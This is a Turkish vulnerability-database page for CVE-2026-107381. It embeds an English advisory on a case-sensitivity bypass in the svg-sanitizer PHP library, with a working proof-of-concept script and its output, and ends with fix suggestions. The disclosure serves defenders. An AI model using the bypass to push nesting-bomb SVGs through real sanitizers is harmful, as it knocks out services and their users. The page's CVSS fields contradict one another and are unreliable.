CVE Listesine Dön
CVE-2026-107381

svg-sanitizer: Mixed-case xlink:HrEf skips the `<use>` nesting-DoS check in Resolver::processReferences

CVSS Skor

6.5

EPSS İhtimal

—

Risk Skoru

0.7

Yayın

3 gün önce

Yama durumu henüz doğrulanamadı

Resmî kaynaklarda yeterli kanıt bulunamadı. Bu sonuç “yama yok” anlamına gelmez.

Envanterimdeki Etkisi

Yalnızca hesabınıza eklediğiniz kişisel ürünler değerlendirilir; kurumsal envanter burada görünmez.

Oturum kontrol ediliyor…

Zafiyet Açıklaması

DayBreach CVE AI Araştırması

CVE-2026-107381 için toplanan üretici, dağıtım, yama ve güvenlik kaynağı kayıtlarını karşılaştırıp kanıt bağlantılı bir açıklama hazırlayalım.

## Summary `Resolver::processReferences()` collects `<use>` elements with the XPath predicate `use[@href or @xlink:href]`, which is case sensitive. A `<use>` element written as `xlink:HrEf` is therefore never added to the reference graph, so the nesting-DoS nullification never marks it for removal. `Sanitizer::cleanHrefAttributes()` then runs later in the same pass and rewrites `xlink:HrEf` back to the canonical `xlink:href`. The sanitizer hands back a fully live nesting bomb that it would have stripped completely had the input used canonical casing. This is the mirror image of CVE-2025-55166: that fix made href *value* checking case insensitive, but the `<use>` reference graph still selects nodes case sensitively. ## Where it is `src/ElementReference/Resolver.php:97-118`, the case-sensitive node selection: ```php $useNodeName = $this->xPath->createNodeName('use'); foreach ($this->subjects as $subject) { $useElements = $this->xPath->query( $useNodeName . '[@href or @xlink:href]', $subject->getElement() ); ``` `src/Sanitizer.php:479-504`, the normalization that happens afterwards and makes the attribute live again: ```php // in case the attribute name is `HrEf`/`xlink:HrEf`, adjust it to `href`/`xlink:href` if (!in_array($attribute->nodeName, $this->allowedAttrs, true) && in_array(strtolower($attribute->nodeName), $this->allowedAttrs, true) ) { $element->removeAttribute($attribute->nodeName); $element->setAttribute(strtolower($attribute->nodeName), $attribute->value); } ``` Ordering is the whole bug. `Sanitizer::sanitize()` builds the resolver graph first and normalizes attribute casing second, so the graph is built against names the sanitizer is about to change. ## Impact Anyone who can submit an SVG to an application that sanitizes it with this library and then serves it. No privileges beyond being able to upload or paste an SVG. The output is the project's own `tests/data/useDosTest.svg` nesting structure, intact, with canonical `xlink:href` attributes, which is exactly the input the `useNestingLimit` machinery exists to defuse. ## Proof of concept Against a clean clone of tag `0.22.0`. The only change to the input is rewriting `xlink:href` to `xlink:HrEf` in the project's own DoS fixture. ```php <?php spl_autoload_register(function ($class) { $p = 'enshrined\\svgSanitize\\'; if (strpos($class, $p) !== 0) return; $rel = str_replace('\\', '/', substr($class, strlen($p))); $f = __DIR__ . '/svgsan/src/' . $rel . '.php'; if (file_exists($f)) require $f; }); $orig = file_get_contents(__DIR__ . '/svgsan/tests/data/useDosTest.svg'); $mut = str_replace('xlink:href', 'xlink:HrEf', $orig); function run($label, $input) { $s = new \enshrined\svgSanitize\Sanitizer(); $s->removeRemoteReferences(true); $out = $s->sanitize($input); echo "[$label]\n"; echo " output <use count : ", substr_count($out, '<use '), "\n"; echo " output xlink:href : ", (strpos($out,'xlink:href')!==false?'YES':'NO'), "\n"; echo " output xlink:HrEf : ", (strpos($out,'xlink:HrEf')!==false?'YES':'NO'), "\n"; } run('canonical xlink:href (control)', $orig); run('mixed-case xlink:HrEf (attack)', $mut); ``` Observed on PHP 8.5.9: ```text orig use count: 201 mutated input has xlink:HrEf: YES [canonical xlink:href (control)] output <use count : 0 output xlink:href : NO output xlink:HrEf : NO [mixed-case xlink:HrEf (attack)] output <use count : 201 output xlink:href : YES output xlink:HrEf : NO ``` 201 to 0 on canonical input, 201 to 201 on mixed-case input, and the output attribute name comes back canonical either way. To be precise about what I measured: I measured the nullification being skipped and the attribute being re-canonicalized. I did not measure renderer memory or CPU on the resulting file, so the downstream cost is whatever you already assign to `useDosTest.svg`. ## Suggested fix Stop matching attribute names case sensitively when the reference graph is built. Either select every descendant `use` and resolve the href in PHP with a case-insensitive local-name lookup (an extension of `Helper::getElementHref()` at `Helper.php:10-19` is the smallest change), or move the `cleanHrefAttributes()` canonicalization so it runs before `$this->elementReferenceResolver->collect()` rather than after, so the resolver only ever sees `href` and `xlink:href`. The second option also removes the general class of bug where the graph and the cleaner disagree about a node's identity.

IMPACT — Etkilenen Ürünler ve Yazılımlar

Affected Products

The following products are affected by CVE-2026-107381 vulnerability. Even if our threat engine is aware of the exact versions of the products that are affected, the information is represented below.

IDVENDORPRODUCTACTION
1packagistenshrined/svg-sanitize İncele
Total Affected Vendor: 1|Products: 1

RED HAT CSAF/VEX — Ürün Etki Kontrolü

Red Hat bu CVE için henüz bir CSAF/VEX etki kaydı yayımlamamış. Bu durum “etkilenmiyor” anlamına gelmez.

SCORING — CVSS Çoklu Kaynak Skoru

CVSS Scores

The Common Vulnerability Scoring System is a standardized framework for assessing the severity of vulnerabilities in software and systems. We collect and display CVSS scores from various sources for each CVE.

SCOREVERSIONSEVERITYVECTORSOURCE
6.5CVSS 3.x—Vektör yayımlanmadıGitHub Advisory
0.0CVSS 4.0—Vektör yayımlanmadıGitHub Advisory

Yama ve İyileştirme Rehberi (Solution)

Solution & Remediation Advisory

Yama durumu bilinmiyor

İncelenen resmî kaynaklarda yama durumu doğrulanamadı. Bu sonuç “yama yok” anlamına gelmez.

Etkilenen ürün ve sürümü yukarıdaki kaynak kanıtlarıyla doğrulayın.
İnternete açık servislerde erişimi kısıtlayın ve ağ segmentasyonu uygulayın.
Yama doğrulanana kadar üretici bültenini izleyin; bilinmeyen durumu “yama yok” olarak yorumlamayın.
Sunucu günlüklerini ve ağ uçlarını anormal çalıştırma belirtileri için izleyin.

Public exploit ve aktif sömürü durumu

Doğrulanmış exploit istihbaratı

Bu CVE için henüz doğrulanmış public PoC, exploit repository’si veya Metasploit modülü bulunamadı.

Zafiyet Dağılımı ve Saldırı Kalıpları (CWE & CAPEC)

CWE - Common Weakness Enumeration

While CVE identifies specific instances of vulnerabilities, CWE categorizes the common flaws or weaknesses that can lead to vulnerabilities. CVE-2026-107381 is associated with the following CWEs:

Common Attack Pattern Enumeration and Classification (CAPEC)

Common Attack Pattern Enumeration and Classification (CAPEC) stores attack patterns, which are descriptions of the common attributes and approaches employed by adversaries to exploit the CVE-2026-107381 weaknesses.

Saldırı Vektörü ve Erişilebilirlik Karakteristiği

ErişimAğ üzerinden
YetkiGerekmiyor
KullanıcıGerekiyor

Resmi Kaynaklar ve Danışma Bültenleri

CVSS Vektör Radar Grafiği

6.5 / 10
Attack VectorNetworkComplexityLowPrivilegesNoneUser Interact.RequiredConfidentialityLowIntegrityNoneAvailabilityHigh

Vulnerability Scoring Details

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Attack VectorNetwork (Ağ)
Attack ComplexityLow (Düşük)
Privileges RequiredNone (Gerekmiyor)
User Interaction—
Confidentiality (Gizlilik)Low (Düşük)
Integrity (Bütünlük)None (Yok)
Availability (Erişilebilirlik)High (Yüksek)

Yama durumu bilinmiyor

İncelenen resmî kaynaklarda yama durumu doğrulanamadı. Bu sonuç “yama yok” anlamına gelmez.

Üreticiyi takip et

P
packagist logo
packagist

Zafiyet Türü (CWE & CAPEC)

İlgili Benzer Açıklar

Bu açığı API ile alın

Etkilenen ürünler, sürüm aralıkları, istismar durumu ve yama bilgisi tek istekte; ücretsiz anahtarla.

curl -H "x-api-key: $DAYBREACH_API_KEY" \
  "https://api.enginteksut.com.tr/api/v1/intel/cves/CVE-2026-107381"